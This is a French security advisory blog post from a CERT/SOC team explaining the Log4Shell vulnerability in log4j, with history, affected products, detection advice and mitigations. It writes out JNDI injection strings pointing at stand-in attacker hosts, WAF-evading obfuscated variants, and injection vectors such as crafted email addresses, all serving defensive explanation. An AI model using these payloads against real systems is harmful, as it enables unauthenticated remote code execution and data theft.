Rechercher
Fermer ce champ de recherche.

Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

15/12/2021

Cybersecurity Insights

Log4Shell : Le cadeau de Noël empoisonné en cette fin d’année

Article mis à jour le 21 décembre 2021

Après une année riche en actualités sur le plan de la sécurité informatique, la fin 2021 donne le coup d’envoi d’un marathon pour les DSI et RSSI avec la vulnérabilité baptisée sous le doux nom de log4shell, présente dans une bibliothèque Java (log4j) qui permet de prendre le contrôle à distance, sans authentification, d’une liste immense de produits présents dans tous les systèmes d’informations en général, et qui demandera beaucoup d’efforts à tous les secteurs liés à l’informatique pour être corrigée.

La bibliothèque log4j

Java est un langage de programmation ultra populaire qui est utilisé pour des applications et des services web, mais aussi pour des applications mobiles, des backends, des serveurs et équipements qui présentent une interface web, etc. Ceci est dû à sa bonne portabilité entre les OS et au fait que ce langage dit de « haut niveau », facilite la vie des développeurs, grâce à de nombreuses méthodes préconstruites.

La bonne pratique de tout bon développeur qui se respecte est de journaliser (loguer) les événements qui se produisent sur la solution qu’il développe, principalement pour des raisons de corrections de bugs ou pour guider les corrections de problèmes en production. Pour ce faire, Java propose par défaut une bibliothèque native intitulée java.util.logging. Pour différentes raisons, notamment dû à sa simplicité / pauvreté, cette dernière est peu utilisée, et une bibliothèque alternative plus complexe et complète a été créée : log4j. https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541

Il faut donc voir log4j comme une bibliothèque Open Source, qui permet de journaliser (loguer) de manière enrichie tout ce qui est nécessaire de l’être dans le code Java et de ce qui en découle lors de son exécution. Et cette petite bibliothèque, en réalité maintenue par deux volontaires sur leur temps personnel, demeure la principale bibliothèque utilisée dans les applications en Java (près de 800.000 projets l’utilisent sur GitHub).

A peu de choses près, on peut résumer la situation à :

Source de l’image : https://xkcd.com/2347/

Historique

En 2013, une nouvelle fonctionnalité a été demandée, par une tierce personne, sur le projet, et implémentée par les mainteneurs, entrainant la création de la vulnérabilité.

En 2015, un APT (groupe de cyberattaquants aux méthodes évoluées) gouvernemental exploite une vulnérabilité apparentée, à base de Java en mode applet sur RMI / JNDI et impactant le site de la Maison Blanche et de l’OTAN.

En 2016 a lieu une présentation à la conférence BlackHat, d’une attaque par désérialisation sur JNDI, mais lors de laquelle il reste malgré tout compliqué de faire un lien avec log4j :

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Par des vecteurs JNDI, des attaquants peuvent produire une URL absolue changeant le protocole / fournisseur :

  • rmi://attacker-server/bar
  • ldap://attacker-server/cn=bar,dc=test,dc=org
  • iiop://attacker-server/bar

D’autres protocoles peuvent être utilisés pour réaliser l’attaque : http, corba, java, nis, dns, ldaps, nds,…

Il a été trouvé trois vecteurs principaux pour acquérir une exécution de code à distance à travers une injection JNDI :

  • RMI :
    • Référence JNDI,
    • Objet distant,
  • Via CORBA :
    • IOR,
  • Via LDAP :
    • Objets serialisés,
    • Référence JNDI,
    • Localisation distantes,

Via un vecteur RMI : Payload qui réfère à JNDI

  • Payload: JNDI Reference:
  • Naming Manager Decoding Method

2021 voit la première occurrence connue de l’utilisation de la vulnérabilité log4shell par des joueurs Minecraft en l’exploitant telle que présentée dans la conférence de la BlackHat de 2016 par désérialisation JNDI et l’auraient utilisée pour neutraliser des serveurs concurrents.

Source : https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/

Toujours est-il que l’exploitation de la vulnérabilité a fini par être découverte, puis adressée aux deux développeurs bénévoles de log4j, qui l’ont aussitôt précorrigée. Cela étant, ces derniers n’ont pas notifié qu’il s’agissait vraiment d’une vulnérabilité au sens sécurité, ce qui a enterré le sujet pour quelques temps, n’a pas encouragé les utilisateurs à mettre à jour leurs versions, et a permis à ceux qui avaient connaissance de la faille de l’exploiter largement.

Mais Chen Zhaojun, chercheur de l’équipe sécurité d’Alibaba Cloud, qui cherchait à comprendre la raison de la dernière mise à jour, a officiellement reporté la correction comme étant une faille de sécurité le 12 novembre 2021.

Et là, c’est le drame : dans les jours qui ont suivi, de plus en plus de chercheurs ont essayé de comprendre la mesure de cette faille de sécurité avec surtout la publication des premiers codes d’exploitation les jeudi et vendredi dernier (9 et 10 décembre).

En quoi consiste la vulnérabilité log4shell ?

Log4j est un module qui, par défaut, essaie de trouver des variables dans les journaux pour les remplacer par leur valeur lorsqu’il analyse une chaine de caractère. A titre d’exemple, la variable ${username} permet de récupérer le nom de l’utilisateur courant.

Log4j interprète en particulier les JNDI, ces fameux Java Naming and Directory Interface, qui sont des interfaces logicielles permettant de récupérer le contenu d’une variable au travers du réseau (dont la vulnérabilité a été présenté à la BlackHat de 2016).

Dans le détail, comme indiqué plus haut, JNDI permet plusieurs types d’accès au réseau : annuaire (LDAP), résolution de nom (DNS), objet de type CORBA, appels à des méthodes distance (RMI), ou simplement des appels web (HTTP et HTTPS). Par exemple, dans le cas de JNDI, la variable ${jndi:ldap://domaine-malveillant.com/exploit} permet de récupérer une class Java par une requête d’annuaire LDAP. Cette fonctionnalité historique date de l’époque où Java appartenait à Sun/Oracle.

En conséquence, si une application utilisant Log4j reçoit une chaine de caractères contenant une variable JNDI, alors, elle sera interprétée par Log4j. Et si cette variable contient un lien vers un domaine contrôlé par un attaquant, ce dernier pourra répondre par une class Java qui sera exécutée, et qui sera, par exemple, en mesure d’installer un beacon Cobalt Strike.

La vulnérabilité (baptisée CVE-2021-44228) possède un score CVSSv3 de 10/10, c’est-à-dire le maximum possible, ce qui est assez rare. Il faut bien mesurer qu’il s’agit d’une exécution de code arbitraire à distance, sans authentification, qui plus est en Java, qui est très utilisé, et elle est surtout très facile à exploiter ce qui justifie amplement qu’elle ait le niveau de criticité le plus élevé.

La vulnérabilité s’activant lors de la réception de la chaine de caractères à journaliser, si une ligne de log est envoyée à n’importe quel collecteur de logs utilisant Log4j, où qu’il soit, il sera possible d’exécuter du code sur cet équipement, même s’il n’est pas exposé sur internet. C’est cette capacité à pénétrer le SI en profondeur qui rend la vulnérabilité si critique : si vous avez un SIEM hors-ligne basé sur ELK ou Splunk qui centralise vos logs, il peut être compromis.

Où la vulnérabilité est-elle présente ?

Une quantité astronomique d’entreprises, d’applications et de services, sont vulnérables, tellement Java est utilisé de manière omniprésente dans les SI. Voici plusieurs listes des produits vulnérables :

Même les GAFAM sont touchés : Apple avec iCloud, AWS dont le service S3, mais aussi Azure. Not « too big to fall ».

Également de grands noms du domaine de l’infrastructure : Cisco sur beaucoup de produits, CloudFlare, VMWare dont vCenter, le proxy Cloud de Zscaler, les Apache Solr, Druid, Flink, Struts2, etc.

De nombreux backends d’éditeurs d’EDR, dont des leaders du marché, peuvent être compromis, et laissent potentiellement accès aux données des clients.

Bien sûr, beaucoup de services qui traitent des logs et du monitoring (tels les SIEMs), même non exposés sur le web, le sont aussi : ELK, Splunk, Logstash, SolarWinds, etc.

Au-delà des éditeurs impactés, si l’on se concentre sur les nombreuses applications “faites maison” qui sont légions dans les SI, c’est aussi le fait que cette vulnérabilité soit exploitable de façons extrêmement variées qui rend compliquée la mise en service de moyens de mitigations par des contournements. Par exemple, la vulnérabilité est exploitable en utilisant une simple requête HTTP sur un site ou une application vulnérable, et en mettant le payload dans les entêtes classiques comme Referer, User-Agent, ou XFF, du temps qu’elle est loguée et son champ interprété. Exemples de services web en Java qui vont journaliser certains des entêtes comme User-Agent : https://twitter.com/u039b/status/1469375014046687239?s=11

La vulnérabilité est également exploitable en positionnant le payload dans :

  • Certains en-têtes des mails, et même l’adresse mail de l’expéditeur (car la chaine coucou+(${jndi:ldap://domaine-malveillant.com/exploit})@mon-domaine.com » est une adresse mail valide au sens de la RFC 822),
  • L’identifiant et le mot de passe pour s’authentifier sur un site (vu sur un réseau social),
  • Le nom d’un réseau Wi-Fi, ou d’un nom d’appareil mobile sur un réseau Bluetooth,
  • Les métadonnées des images et des fichiers type PDF, Word, Excel…
  • Nom de fichier sur un site de Pasties (Pastbin),
  • Revue documentaire d’un livre,
  • Contenu d’un SMS,
  • Ticket remonté au support client,

Versions affectées :

  • log4j versions 2.0-beta9 à 2.12.1 > A mettre à jour vers log4j-2.12.3 pour Java7
  • log4j versions 2.13.0 à 2.15.0 > A mettre à jour vers log4j-2.17.0 pour Java8 ou supérieur

Qui exploite la vulnérabilité et dans quel but ?

Comme lors de toute publication d’une vulnérabilité avec un code d’exploitation dans la nature impactant des actifs exposés sur le web, la campagne d’exploitation commence par des sessions de scans massifs venant du web. Selon Kaspersky, les IP publiques remontées dans les premiers jours de la campagne de scan sont principalement en provenance de la Russie et du Brésil, mais étonnamment, très peu de Chine. Voici des listes d’IPs et domaines connus à bloquer sans trop de crainte :

Pour l’instant, on n’observe que le déploiement de cryptomineurs, et assez peu de ransomware (seul Khonsari a été reporté mardi 14 décembre). Mais ceci peut facilement s’expliquer par le fait :

  • Qu’il faut un certain temps pour effectuer l’escalade de privilèges dans un SI et compromettre l’AD,
  • Que ce ne sont pas les mêmes groupes qui exploitent ces vulnérabilités en déposant des backdoors qui sont revendues sur le Darknet, au profit d’autres groupes qui, eux, compromettent l’AD et déploient le ransomware.
  • Que d’autres types d’attaques tout aussi lucratives, beaucoup plus furtives et qui laissent peu de traces passent sous le radar : les vols de données numériques et de propriété intellectuelle par exfiltration de données. Sophos indique qu’il a observé des attaquants contacter des EC2 ou Bucket S3 AWS pour y voler tous les jetons API des applications, logins et mots de passe, clefs privées, etc. Ces attaques, en première apparence moins impactantes qu’un ransomware, sont, en effet, moins traquées par les autorités judiciaires. Il est donc plus probable de passer entre les mailles du filet judiciaire qui a vu, ces derniers mois, attraper de nombreux groupes non « bulletproof » en Europe. Le gain financier étant tout aussi intéressant que dans les attaques par ransomware, puisque les données récoltées se revendent très bien sur le Darknet contre Bitcoin et Monero.

A noter que ces reventes de données récoltées (dont des backdoors déposées) pourront être exploitées dans les jours, semaines et mois suivants par des groupes ransomware. Il ne faut donc surtout pas se sentir protégé si le sentiment de première vague retombe et que la pression médiatique s’amenuise. Typiquement, les groupes APT gouvernementaux / services de renseignements sont adeptes de la multiplicité de backdoors dans un SI victime, pour finalement n’utiliser qu’une des backdoors répondant, parfois longtemps après l’avoir déployée.

Comment détecter l’exploitation de la vulnérabilité dans son SI ?

Le meilleur moyen de savoir si la vulnérabilité a été exploitée dans son SI, à l’heure actuelle, reste de regarder dans tout son historique de logs, pour constater si des traces des chaines de caractères évoquées plus haut sont présentes. Etant donné que cette vulnérabilité aurait pu ne jamais être découverte, il est peu probable que les chaines de caractères aient été obfusquées (si l’exploitant initial n’était pas un ATP), ce qui facilitera sa recherche. Mais les exploitations futures de la vulnérabilité (et on le voit dès cette semaine) seront immanquablement obfusquées pour bypasser les WAF. Aussi, si un ATP a pu obtenir connaissance de l’exploit, avant sa publication, il est probable qu’il ait cherché à l’obfusquer afin de conserver la vulnérabilité secrète le plus longtemps possible. Ce qui rend la détection de log4shell particulièrement compliquée, c’est que la chaine de caractères JNDI n’est pas loguée quand l’exploit est opéré avec succès (puisque la chaine est interprétée par le logger log4j). Cela revient à chercher un champ vide dans ses logs. Il faut donc s’appuyer sur un autre équipement, qui logue le contenu du trafic sans être vulnérable à l’exploit, pour rechercher la chaine de caractère : typiquement, il peut être intéressant de s’appuyer sur un WAF. Concernant l’étude des logs à long terme dans le passé (à froid), cela reste un exercice compliqué, car un gros volume de logs (sur un an ?) doit être chargé pour être exploré, ce qui demande d’importantes ressources de traitement (CPU, stockage) pour un résultat, si négatif, qui ne garantira pas pour autant que la vulnérabilité n’a pas été exploitée sur le SI. Pour l’étude récente dans les logs, il suffit de détecter des “${“ dans une chaine de caractères mais avec un risque important de faux positifs. Il faut aussi chercher les autres caractères non obfuscables contenus dans la chaine, avec par exemple l’expression régulière : “\${.*\:.*\/.*\/.*}” Il peut être intéressant, en parallèle de chercher dans ses logs, de scanner son SI à la recherche de la vulnérabilité. Pour ceci, plusieurs outils sont proposés par la communauté : Un scan manuel est également possible en créant un token avec l’outil https://canarytokens.org/generate# Il faut choisir le token DNS :

Copiez le token généré :

Le payload se constitue alors de : ${jndi:ldap:// fh1plcnattqthz612javvp1l3.canarytokens.com/a}

Il est alors utilisable pour tester une application, dans un paramètre de recherche, par exemple.

Pour tester le bon fonctionnement d’un payload, vous trouverez ici une application vulnérable réalisée exprès pour ça : https://github.com/leonjza/log4jpwn  

Source de l’image : CERT-DS

Détecter la présence de la vulnérabilité avec le Security Rating

Le Security Rating est un service proposé par Almond. Son objectif est de produire une note représentant la performance et la maturité cyber sécurité d’une organisation par une évaluation automatisée, continue et reproductible sur la base de données observables publiquement. Au regard de la sévérité de log4shell, la société Almond a décidé d’implémenter un test dédié au sein même du Security Rating. Ce test, non intrusif, permet de recenser les actifs potentiellement vulnérables d’une entreprise.

Si vous êtes déjà client, vous pouvez consulter les résultats de ce test dans la partie « Contrôle de sécurité », disponible sur l’évaluation d’une société :

Le problème de l’obfuscation

Du fait des différentes possibilités d’écritures des chemins JNDI et de leur interprétation par Java, il est possible de facilement obfusquer l’exploit (on en compte plus d’une soixantaine dans la nature mardi 14 décembre). En voici quelques exemples :

  • ${jndi:dns://ici-le-domaine-malveillant.com/exploit}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit}
  • ${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-le-domaine-malveillant.com/exploit}

Voici un tweet avec encore plus d’obfuscation : https://twitter.com/wugeej/status/1469982901412728832

Voici un repository Github de CrowdSec contenant des exploits à taguer dans votre WAF : https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/log4j2_cve_2021_44228.txt

Cela dit, il existe tellement d’entreprises exposées à la vulnérabilité sur le web, pour encore plusieurs semaines / mois, que la généralisation de l’obfuscation pourrait mettre un peu de temps à arriver. Mais attention, des PoC ont été vus depuis samedi 11 décembre à ce sujet. Ces obfuscations présentent un intérêt évident, dès à présent, pour les APT qui ciblent des entités particulières en liste blanche (à la différence des attaques opportunistes des groupes cybercriminels).

C’est aussi le fait que cette vulnérabilité soit exploitable de manières extrêmement variées qui rend compliquée son contournement ou la production de moyens de mitigations. Il est donc indispensable, en plus de mener une campagne de contournement court-termiste, de planifier coute que coute un plan d’upgrade de la bibliothèque elle-même.

Comment répondre à la menace ?

Recommandation n°1 : Prévoir un marathon.

La remédiation se fera dans la durée. Ne mettez pas vos équipes sur le pont à bosser 100 heures cette semaine, car les semaines suivantes risquent d’être également longues, et ce, pour un long moment.

Pour ne rien arranger, les fêtes de fin d’année, les équipes réduites, et les freezes de fin d’année réduiront la possibilité de réagir vite et fort.

En guise d’exemple, quand on sait que VMWare vSphere est impacté et que les séances de patching vont imposer les redémarrages de tous les hyperviseurs, certaines DSI vont avoir de longs weekends à venir.

Recommandation n°2 : Se réapproprier son SI.

S’il est rare de voir une société posséder une CMDB à jour, celles qui dressent la liste de leurs applications et de leurs dépendances sont infimes. La première étape opérationnelle va être de dresser une liste précise des applications, services, éditeurs présents dans le SI qui sont susceptibles d’utiliser log4j. Ainsi, plus concrètement :

  1. Sur tous les serveurs sur lesquels les équipes d’administration ont accès au système de fichiers, il faut traquer ceux qui utilisent Java.
  2. Et parmi les serveurs qui utilisent Java, il faut identifier ceux qui utilisent log4j (aidez-vous des outils cités plus haut). A noter que la présence de log4j n’implique pas forcément son utilisation par une application, mais dans le doute, il ne faut pas prendre de risque. Il est conseillé de prioriser en commençant par les machines exposées sur Internet. Dans tous les cas, il faut partir du principe qu’il sera impossible de confirmer à 100% la non présence du fichier .jar sur un serveur, car ceux-ci s’installent n’importe où. Vérifier une liste d’applications installée ne sera pas d’une plus grande efficacité.
  3. Pour les boites noires, il faut rester attentifs aux communications des éditeurs quant aux mises à jours de sécurité proposées et aux listes publiques d’équipements et produits vulnérables (cf les listes citées plus haut). Un éditeur qui se déclare non vulnérable ne l’est que jusqu’à ce qu’il révise sa position : il faudra rester vigilant dans la durée.
  4. Ensuite, il faudra identifier les serveurs qui utilisent les versions 1.x ou 2.0 – 2.15.0 de log4j pour Java 7 ou 8+, car ceci vous guidera dans vos roadmaps de remédiation avec un choix cornélien : mettre à jour ou appliquer un contournement. La version 1.x doit également être mise à jour, car vulnérable à un autre exploit de score CVSSv3 critique de 9.8 qui date de 2019 (CVE-2019-17571).

Recommandation n°3 : Activer un filtrage sortant strict et segmenter.

L’exploitation de la vulnérabilité se fait en répondant à la requête de l’attaquant. La priorité n°1 est donc de désactiver l’accès à internet pour les serveurs qui n’en ont pas besoin. Mais ceci enfonce une porte ouverte, puisqu’il est inutile de rappeler que dans les bonnes pratiques, tout serveur interne est bien cloisonné et ne laisse sortir aucun trafic vers internet. Il existe cependant des exceptions pour les serveurs propriétaires qui ont besoin de contacter leur éditeur pour des raisons de licence, mais cet accès à internet doit être filtré par une liste blanche.

S’équiper d’un proxy et plus généralement d’un WAF va se révéler plus utile que jamais. Mais attention, comme les éditeurs de WAF vont développer des filtres pour parer les attaques, les attaquants vont finir par s’adapter et passer outre au bout d’un moment. Le joker WAF ne peut être qu’une solution temporaire de protection.

Par ailleurs, en cas de prise de position dans le SI par un attaquant, une des meilleures pratiques pour la ralentir et/ou limiter ses actions reste, a minima, de segmenter correctement son SI afin d’isoler les applications critiques et les fonctions d’administration du reste.

Recommandation n°4 : Appliquer les correctifs temporaires de contournement.

En bloquant les variables DNS et en filtrant le trafic vers internet (point n°3), il doit être possible d’éviter d’avoir à mettre à jour son code Java dans l’urgence. Ce postulat est intéressant, car la mise à jour du code représente un défi énergivore pour les applications maisons, avec de longues campagnes de tests de non-régression.

Voici comment mettre en place une variable désactivant les résolutions de noms, ce qui permettra de diminuer l’exploitation de la vulnérabilité :

  • Soit en modifiant la ligne de commande de l’appel au logiciel : # java … ‐Dlog4j2.formatMsgNoLookups=True … -jar mon_appli_toute_moisie.jar
  • Soit en mettant en place une variable d’environnement dans le fichier .profile du compte exécutant le service : « export LOG4J_FORMAT_MSG_NO_LOOKUPS=true»
  • Pour les applications en Docker, dans les fichiers dockerfile ou docker-compose.yml, plus d’informations ici : https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/

Plus d’informations ici : https://www.rumble.run/blog/finding-log4j/

Mais attention : les contournements ne font que rendre plus complexe l’exploitation de la vulnérabilité pour les attaquants. Tout comme avec la mise en place des règles sur les WAF, il va y avoir une course poursuite entre propositions de contournement et obfuscation / évolution des techniques des attaquants. La seule solution pérenne et efficace reste de mettre à jour la bibliothèque log4j.  

Recommandation n°5 : Patcher et mettre à jour

Il devrait y avoir de nombreuses propositions de patchs successifs de la part des éditeurs, car la vulnérabilité ne sera pas aisée à fixer définitivement pour de nombreux produits. Ceci s’explique par le fait que les éditeurs font bien souvent face aux mêmes défis que nous : les premiers patchs, disponibles rapidement, rendent l’exploitation de la vulnérabilité plus compliquée pour les attaquants, puis les patchs suivants désactivent définitivement la possibilité de son exploitation. Dans le cas d’applications maison, il n’y a pas d’autre issue possible que la mise à jour vers log4j 2.17.0.

Recommandation n°6 : Avoir un plan et des moyens pour la sécurité de son SI.

A terme, il faudra fiabiliser la gouvernance et l’analyse de risques au sein de l’équipe de sécurité de son SI en lui donnant des moyens financiers et humains pour faire de la veille pour surveiller les communications des éditeurs, regarder les bulletins du CERT-FR de l’ANSSI, qui reste une référence francophone, mais aussi regarder les logs dans la durée, mais aussi dans le passé, pour détecter une éventuelle compromission. Attention, les logs qui remontent peuvent avoir un retard de plusieurs heures : il faut pouvoir réagir vite et bien quand un positif remonte.

Dans cette démarche d’amélioration continue de la maturité de la sécurité de son SI, il peut être utile de faire appel à un SOC dans une démarche efficace et pérenne. Le SOC CERT CWATCH Almond, fort de sa longue expérience, et se ferait un plaisir de vous compter parmi les clients qu’il protège 😊

Recommandation n°7 : Soutenir le développement libre.

Tout ceci ne serait peut-être pas arrivé si la communauté Java ne s’était pas reposée sur une bibliothèque entretenue depuis 2003 par deux individus travaillant en best effort sur leur temps personnel. Aider en finançant la communauté Open Source est indispensable pour notre avenir. Les fondations Mozilla et Wikipédia, émanations grand public du développement collaboratif, en sont les avatars et vous êtes heureux d’en profiter quotidiennement. Soutenez-les et parlez-en autour de vous.

L'équipe SOC CERT CWATCH

Voir les derniers Cybersecurity Insights

13 novembre 2023
Version révisée (Edition 4) de la norme ISO/CEI 27005 : Almond vous propose un top 3 des changements normatifs et des précisions sur leurs implications directes dans les travaux des Risk Managers au sein des organisations.
19 octobre 2023
C’est ce que tente d’éclairer cet article en explorant les avantages d’une approche ISO 27001 pour structurer les réponses attendues par vos clients dans les questionnaires SSI qu’ils vous transmettent.
16 octobre 2023
L'authentification multi-facteurs, un sujet toujours d'actualité à ne pas négliger !
11 octobre 2023
Chez Almond, nous préconisons de parachever les pratiques de contrôle par une approche par les risques pour améliorer la qualité du portefeuille des fonds d’investissement.
5 octobre 2023
Did you ever imagine that you or your colleagues could be a serious threat to your company? Discover our study: Insider Threat !
29 septembre 2023
Découvrez la solution SASE de Zscaler avec Benoit Vérove, Partner et Lead Security Integration chez Almond et Reda Nedjar, Principal Sales Engineer chez Zscaler au travers d'une démonstration technique au cœur de l'outil Zscaler Zero Trust Exchange™!
16 juin 2023
Le SASE en 7 min chrono : décrypter le SASE, sa fonction et ses usages. Pour y voir plus clair, nous vous proposons d’entrer en immersion dans les plateformes SASE des experts du secteur. Découvrons ensemble, la solution SASE proposée par Cato Networks. Joseph Fernando, SE Manager South EMEA, chez Cato Networks réalise une démonstration technique de la solution Cato SASE Cloud, au côté de Benoit Vérove, Partner et Lead Security Integration chez Almond.
12 juin 2023
Comme chaque année, SWIFT met à jour son standard CSCF et apporte son lot de nouveautés. Nous vous proposons ici quelques clés de lecture associées aux changements fondamentaux apportés par le CSCF v2023
5 juin 2023
Depuis 2021, tous les clients SWIFT se trouvent dans l’obligation de réaliser une évaluation de conformité dans le cadre du Customer Security Program (CSP) de SWIFT.
2 juin 2023
Décryptez la technologie SASE, au travers d'une démonstration technique de la solution Harmony Connect proposée par Check Point.

Jour 5 : CTF #1 de l'avent

On complexifie le jeu pour ce jour #5 ! Notre équipe CERT vous propose aujourd’hui un petit challenge CTF à résoudre avant demain matin ! 

Retrouvez le challenge ici !

Jour 4 : Quel type d'attaque peut être qualifié de "triple extorsion" ?

  • Réponse 1 : Une attaque par ransomware
  • Réponse 2 : Une attaque par hameçonnage
  • Réponse 3 : Une attaque par déni de service
  • Réponse 4 : Une attaque par empoisonnement du cache DNS

Laïus explicatif : Le ransomware à triple extorsion est comme son nom l’indique une attaque durant laquelle les cybercriminels menacent de trois façons différentes leur victime.

  1. L’attaquant va demander une rançon à la victime pour qu’il puisse récupérer/déchiffrer ses données
  2. L’attaquant va demander une rançon pour ne pas publier / divulguer les données exfiltrées, il peut aussi demander une rançon pour un délai supplémentaire avant divulgation (retarder le compte à rebours)
  3. L’attaquant va mettre la pression à la victime pour augmenter les chances de paiement de la rançon via des attaques de type DDoS ou des appels téléphoniques, enfin il peut aussi demander des rançons aux victimes collatérales, dont les données auraient fuité indirectement dans l’attaque

Ce type d’attaque permet aux attaquants de maximiser le gain financier pour chaque victime, le ransomware étant déjà l’une des attaques les plus lucratives, il convient d’anticiper ce scénario et de s’en protéger convenablement.

Jour 3 : Parmi ces quatre choix, lequel définit le mieux ce qu’est l’ISO 27001 ?

  • Réponse 1 : Un standard listant un ensemble d’exigences relatives à la sécurité des systèmes informatiques d’une entreprise
  • Réponse 2 : Une norme listant un ensemble de bonnes pratiques permettant d’optimiser la cybersécurité au sein d’une l’entreprise
  • Réponse 3 : Une norme listant un ensemble d’exigences relatives à la sécurité des informations nécessaires à une entreprise
  • Réponse 4 : Un standard listant un ensemble de méthodes pour optimiser les pratiques relatives à la sécurité des informations utilisées par une entreprise

Laïus explicatif : L’ISO 27001 est une norme internationale, dont les entreprises peuvent se prévaloir en se faisant certifier par un organisme indépendant ; elle contient un ensemble d’exigences que chaque entreprise, quels que soient sa taille et son domaine d’activité, doit impérativement appliquer pour obtenir sa certification ; ses exigences constituent donc le référentiel des audits de certification. A ne pas confondre avec la norme ISO 27002 qui est constituée de recommandations, basées sur les bonnes pratiques internationales, permettant d’aider une entreprise à appliquer les exigences de la norme ISO 27001 (donc norme qui ne donne pas lieu à une certification).

Les exigences de la norme ISO 27001 portent sur les informations nécessaires à une entreprise, recueillies et/ou traitées, quel que soit son support, électronique, papier et oral.

Les trois critères de sécurité retenus par la norme ISO 27001 sont la confidentialité, l’intégrité et la disponibilité des informations. Tout événement, qu’il soit d’origine environnementale ou humaine, intentionnelle ou involontaire, impactant un de ces trois critères, relève de cette norme.

Jour 2 : Qu'est-ce qu'une attaque DDoS?

  • Réponse 1 : Un logiciel espion qui enregistre ce qu’écrit un utilisateur
  • Réponse 2 : Un procédé visant à perturber l’accès à un site ou une application
  • Réponse 3 : Un virus informatique qui chiffre l’OS de votre ordinateur en échange d’une rançon
  • Réponse 4 : Une attaque Informatique visant à détermine votre mot de passe en testant un grand nombre de possibilité

Laïus explicatif : Une attaque DDoS ou « Distributed Denial of Service » est une attaque visant à rendre indisponible un site en le submergeant de requêtes provenant de multiples sources. Dans le cas où toutes les requêtes proviennent de la même source, on parle simplement d’attaque DoS (« Denial of Service »), ou « par déni de service ».

Jour 1 : Qu'est-ce que DORA?

  • Réponse 1 : Une jeune exploratrice bilingue
  • Réponse 2 : Un protocole de communication décrit dans le RFC 9364
  • Réponse 3 : Une organisation internationale de régulation de la cybersécurité
  • Réponse 4 : Un règlement qui s’applique aux entités financières et aux tiers prestataires de services informatiques

Laïus explicatif : DORA ou Digital Operational Resilience Act est un règlement européen publié en 2022 et en vigueur depuis janvier 2023. Le règlement traite de la résilience opérationnelle numérique du secteur financier. Il est applicable aux entités financières comme les banques, assurances, entreprises d’investissement, les établissements de paiement, etc. mais également aux tiers prestataires de services informatiques. Les entreprises concernées ont deux ans pour se mettre en conformité. Ils devront donc l’être en 2025 !

Le pilier relatif à la gestion des risques liés aux prestataires tiers de services TIC apparait comme l’un des plus difficile à mettre en place et à maintenir dans le temps pour les entreprises concernées. En quelques mots, les entreprises devront considérer ces risques comme faisant partie intégrante du risque lié aux technologies de l’information et de la communication (TIC) et notamment le risque de concentration, au niveau de l’entreprise mais également au niveau de l’ensemble du secteur financier européen. En effet, les autorités devront analyser ce risque en analysant les registres tenus et communiqués par les entreprises concernées par DORA et qui recense notamment la liste des tiers prestataires de services TIC avec lesquelles les entités financières conclues des contrats.

Pour plus d’informations, consultez notre avis d’expert sur le sujet : https://almond.eu/cybersecurity-insights/explorons-dora/